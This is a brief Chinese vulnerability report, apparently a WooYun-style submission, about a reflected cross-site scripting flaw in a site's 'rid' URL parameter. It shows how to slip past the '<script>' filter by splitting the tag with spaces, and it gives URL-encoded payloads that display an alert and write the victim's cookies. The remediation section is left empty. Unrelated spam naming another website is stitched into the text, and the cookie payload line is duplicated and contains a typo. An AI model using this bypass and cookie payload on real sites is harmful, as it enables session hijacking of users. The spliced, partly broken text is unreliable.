出现问题的url:?rid=wooyun&div=1
rid的参数过滤奇怪如果是完整的<script>，那么系统会提示system error.，www.xuhantao.com，说明有参数过滤
这种的会屏蔽的，涛涛电脑知识网，但是如果参数是
<scr ipt >_xsscode_</sc ript>或者%3Cscr%20ipt%20%3_xsscode_%3C/sc%20ript%3E
那么就会变成成功的
<scipt>xsscode<script>
IE9,firefox10,chrome下跨站均成功
弹框...
?rid=%3Cscr+ipt+%3Edocument.write(documents.cookie)%3C%2fsc+ript%3E&div=1
获取cookie.....
?rid=%3Cscr+ipt+%3Edocument.write(documents.cookie)%3C%2fsc+ript%3E&div=1
修复方案：
额。。。
